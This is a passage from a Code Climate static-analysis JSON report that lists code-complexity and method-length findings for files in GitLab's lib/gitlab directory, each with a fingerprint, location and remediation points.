understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `scrub` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7d4324ffa269ec245847b9dd62388202","location":{"path":"lib/gitlab/sanitizers/svg.rb","lines":{"begin":12,"end":33}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `<=>` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"07c5403aa1fb1c5999cd6138fc8be4c8","location":{"path":"lib/gitlab/version_info.rb","lines":{"begin":21,"end":40}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform_substitutions` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d72ee6aae32c9c1901f52bf269676a8b","location":{"path":"lib/gitlab/quick_actions/extractor.rb","lines":{"begin":115,"end":134}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `commands_regex` has 30 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"1bf5c2a5cbd5a2d9489e4fefc15a284e","location":{"path":"lib/gitlab/quick_actions/extractor.rb","lines":{"begin":63,"end":113}},"other_locations":[],"remediation_points":720000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `to_h` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a75d7faca54c18a6777848a3850d38cc","location":{"path":"lib/gitlab/quick_actions/command_definition.rb","lines":{"begin":49,"end":66}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `wait` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bf93e6de620ccd0324ee0deae40e9661","location":{"path":"lib/gitlab/job_waiter.rb","lines":{"begin":44,"end":72}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_number_of_plurals` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ca29b997f9707951ab1c16832eac75dd","location":{"path":"lib/gitlab/i18n/po_linter.rb","lines":{"begin":86,"end":94}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `fill_in_variables` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7baf89f0f9dd60c092411c5d3c85f5c4","location":{"path":"lib/gitlab/i18n/po_linter.rb","lines":{"begin":222,"end":236}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `PoLinter` has 22 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"befcb8a3c9cdc94613a938be76c2abf4","location":{"path":"lib/gitlab/i18n/po_linter.rb","lines":{"begin":3,"end":276}},"other_locations":[],"remediation_points":1400000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `missing_members?` has 26 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"a92dd0b78adf6408e1bb1362dfd52ac0","location":{"path":"lib/gitlab/background_migration/create_fork_network_memberships_range.rb","lines":{"begin":48,"end":78}},"other_locations":[],"remediation_points":624000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `migrate_stage_index_sql` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"17594a98741c619d81f5982d56852229","location":{"path":"lib/gitlab/background_migration/migrate_stage_index.rb","lines":{"begin":15,"end":44}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `remove_restricted_features_todos` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2f6311086002a50283e8edb15d2db097","location":{"path":"lib/gitlab/background_migration/remove_restricted_todos.rb","lines":{"begin":80,"end":94}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `perform` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"3b81cbbe6df91a033cc8895bc63aa0e7","location":{"path":"lib/gitlab/background_migration/copy_column.rb","lines":{"begin":17,"end":17}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each_pair` has a Cognitive Complexity of 43 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d8eeaa32395230adf97a240f222c4203","location":{"path":"lib/gitlab/background_migration/normalize_ldap_extern_uids_range.rb","lines":{"begin":53,"end":189}},"other_locations":[],"remediation_points":3950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `initialize_array` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7098a1e02746bd3280879e695e913e37","location":{"path":"lib/gitlab/background_migration/normalize_ldap_extern_uids_range.rb","lines":{"begin":262,"end":276}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `perform` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bb5327ee9231b73596539ad7b2c167fa","location":{"path":"lib/gitlab/background_migration/normalize_ldap_extern_uids_range.rb","lines":{"begin":300,"end":314}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `each_pair` has 131 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"d03740b18e02c4d6c12a846688367eb2","location":{"path":"lib/gitlab/background_migration/normalize_ldap_extern_uids_range.rb","lines":{"begin":53,"end":189}},"other_locations":[],"remediation_points":3144000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `single_diff_rows` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8c44e90db62947f73461b513d8b2bf71","location":{"path":"lib/gitlab/background_migration/deserialize_merge_request_diffs_and_commits.rb","lines":{"begin":86,"end":129}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `single_diff_rows` has 32 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"bc4293178ed4b9812cc3752d52c4c2ae","location":{"path":"lib/gitlab/background_migration/deserialize_merge_request_diffs_and_commits.rb","lines":{"begin":86,"end":129}},"other_locations":[],"remediation_points":768000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `median` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8131f9850b467befa49f83c8893e074e","location":{"path":"lib/gitlab/cycle_analytics/base_stage.rb","lines":{"begin":23,"end":46}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `first_time_reference_commit` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"57863573b761b600f6f37177c4bdcc2c","location":{"path":"lib/gitlab/cycle_analytics/plan_event_fetcher.rb","lines":{"begin":40,"end":52}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `groups` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bb94f91ea8ea9bfebe88077bde7c9c70","location":{"path":"lib/gitlab/blame.rb","lines":{"begin":10,"end":34}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `issuable_meta_data` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a722790729116e77942fe04c5ea5c2fe","location":{"path":"lib/gitlab/issuable_metadata.rb","lines":{"begin":3,"end":42}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `issuable_meta_data` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"654ad0544dd20bd2a0fa2b2222724814","location":{"path":"lib/gitlab/issuable_metadata.rb","lines":{"begin":3,"end":42}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_id_by_path` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"249edd9d3a49a4634c75d7f66eddf0d3","location":{"path":"lib/gitlab/git/tree.rb","lines":{"begin":36,"end":52}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `get_submodules_by_name` has a Cognitive Complexity of 16 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1779cdd505003a594a0ec1e401b49750","location":{"path":"lib/gitlab/git/gitmodules_parser.rb","lines":{"begin":45,"end":66}},"other_locations":[],"remediation_points":1250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `merge` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"14d8d23268624da10eee3aa315d71171","location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":552,"end":552}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `find_commits_by_message` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"03db09f73721e8dc853a0e8d5c5b586a","location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":948,"end":948}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `repository.rb` has 724 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"4fd0011d1b240dc0bd3776dada53d992","location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":1,"end":1045}},"other_locations":[],"remediation_points":8025600,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `refs_hash` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1b3b8f358aa6754b1127fcaf1fc63eab","location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":461,"end":473}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_count_commits_options` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d7dfc3dabbbd3403a850821e31ef9869","location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":987,"end":1005}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Repository` has 117 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"7e5d4a5ee3414c57e7d1ae875324fab4","location":{"path":"lib/gitlab/git/repository.rb","lines":{"begin":7,"end":1043}},"other_locations":[],"remediation_points":10900000,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `resolve_lines` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2a9fd4db8c8cf162f378aa963d6765b0","location":{"path":"lib/gitlab/git/conflict/file.rb","lines":{"begin":64,"end":86}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parse` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"244c77bd66325eb47245517103368219","location":{"path":"lib/gitlab/git/conflict/parser.rb","lines":{"begin":15,"end":70}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `parse` has 44 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"bf9628db17f21b3c6afe90328a37f6d0","location":{"path":"lib/gitlab/git/conflict/parser.rb","lines":{"begin":15,"end":70}},"other_locations":[],"remediation_points":1056000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8c678916b00a357376bbd89e7d450a28","location":{"path":"lib/gitlab/git/blob.rb","lines":{"begin":24,"end":50}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parse_attributes` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4edbf1e31d321135c7006513a4035f15","location":{"path":"lib/gitlab/git/attributes_parser.rb","lines":{"begin":41,"end":77}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* 